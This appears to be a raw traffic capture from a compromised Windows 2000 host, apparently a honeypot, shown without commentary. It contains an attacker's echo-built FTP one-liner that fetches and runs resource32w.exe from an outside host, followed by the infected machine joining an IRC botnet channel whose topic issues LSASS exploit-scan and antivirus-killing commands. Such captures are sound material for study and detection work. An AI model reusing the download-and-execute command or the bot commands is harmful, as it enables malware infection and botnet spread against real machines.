VICTIM: Microsoft Windows 2000 [Version 5.00.2195] VICTIM: (C) Copyright 1985-2000 Microsoft Corp.C:\\WINNT\\system32> ATTACKER: echo open 218.42.91.117 50952>o&echo USER a>>o&echo a>>o&echo binary>>o&echo get resource32w.exe>>o&echo quit>>o&ftp -n -s:o&del o&resource32w.exe ATTACKER: 220 WinFtpd 1.2 VICTIM: USER a ATTACKER: 331 Password required VICTIM: PASS a ATTACKER: 230 User logged in. VICTIM: TYPE I ATTACKER: 200 Type set to I. VICTIM: PORT 192,168,1,76,4, ATTACKER: 200 PORT command successful. ATTACKER: RETR resource32w.exe ATTACKER: 150 Opening BINARY mode data connection ATTACKER: 226 Transfer complete. VICTIM: QUIT ATTACKER: 221 Goodbye. VICTIM: open 218.42.91.117 50952USER abinaryget resource32w.exequit VICTIM: NICK [SOUL]106314USER lvzsox 0 0 :[SOUL]106314 ATTACKER: :irc.celestial.org NOTICE AUTH :*** Looking up your hostname...:irc.celestial.org NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead ATTACKER: :irc.celestial.org NOTICE [SOUL]106314 :*** If you are having problems connecting due to ping timeouts, please type /quote pong 5549D2B1 or /raw pong 5549D2B1 now.PING :5549D2B1 ATTACKER: PONG :5549D2B1 ATTACKER: :irc.celestial.org 001 [SOUL]106314 :Welcome to the celestial IRC Network [SOUL]106314!lvzsox@192.168.1.76:irc.celestial.org 002 [SOUL]106314 :Your host is irc.celestial.org, running version Unreal3.2.3:irc.celestial.org 003 [SOUL]106314 :This server was created Sun Mar 13 21:51:25 2005:irc.celestial.org 004 [SOUL]106314 irc.celestial.org Unreal3.2.3 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj:irc.celestial.org 005 [SOUL]106314 SAFELIST HCN MAXCHANNELS=10 CHANLIMIT=#:10 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 WALLCHOPS WATCH=128 :are supported by this server:irc.celestial.org 005 [SOUL]106314 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVGCuzNSMTG NETWORK=celestial CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP :are supported by this server:irc.celestial.org 251 [SOUL]106314 :There are 1 users and 1400 invisible on 1 servers VICTIM: JOIN #hell troopers ATTACKER: :irc.celestial.org 252 [SOUL]106314 1 :operator(s) online:irc.celestial.org 253 [SOUL]106314 1 :unknown connection(s):irc.celestial.org 254 [SOUL]106314 4 :channels formed:irc.celestial.org 255 [SOUL]106314 :I have 1401 clients and 0 servers:irc.celestial.org 265 [SOUL]106314 :Current Local Users: 1401 Max: 3658:irc.celestial.org 266 [SOUL]106314 :Current Global Users: 1401 Max: 1459:irc.celestial.org 375 [SOUL]106314 :- irc.celestial.org Message of the Day - :irc.celestial.org 372 [SOUL]106314 :- 6/5/2005 12:50:irc.celestial.org 372 [SOUL]106314 :- celestial.org:irc.celestial.org 376 [SOUL]106314 :End of /MOTD command.:[SOUL]106314 MODE [SOUL]106314 :+iwx VICTIM: USERHOST [SOUL]106314MODE [SOUL]106314 +ixJOIN #hell troopersUSERHOST [SOUL]106314MODE [SOUL]106314 +ixJOIN #hell troopersUSERHOST [SOUL]106314MODE [SOUL]106314 +ixJOIN #hell troopers ATTACKER: :[SOUL]106314!lvzsox@6327A4BB.C36978ED.1A0AE753.IP JOIN :#hell:irc.celestial.org 332 [SOUL]106314 #hell :.advscan lsass_445 100 5 0 -b -r -s -z -q|.advscan lsass_445 100 10 0 x.x.x.x -r -z -s|.avfwkiller start -s:irc.celestial.org 333 [SOUL]106314 #hell MiStA_SimpAtiA 1194734454:irc.celestial.org 353 [SOUL]106314 @ #hell :[SOUL]106314 ~MiStA_SimpAtiA :irc.celestial.org 366 [SOUL]106314 #hell :End of /NAMES list. ATTACKER: :irc.celestial.org 302 [SOUL]106314 :[SOUL]106314=+lvzsox@192.168.1.76 :irc.celestial.org 302 [SOUL]106314 :[SOUL]106314=+lvzsox@192.168.1.76 :irc.celestial.org 302 [SOUL]106314 :[SOUL]106314=+lvzsox@192.168.1.76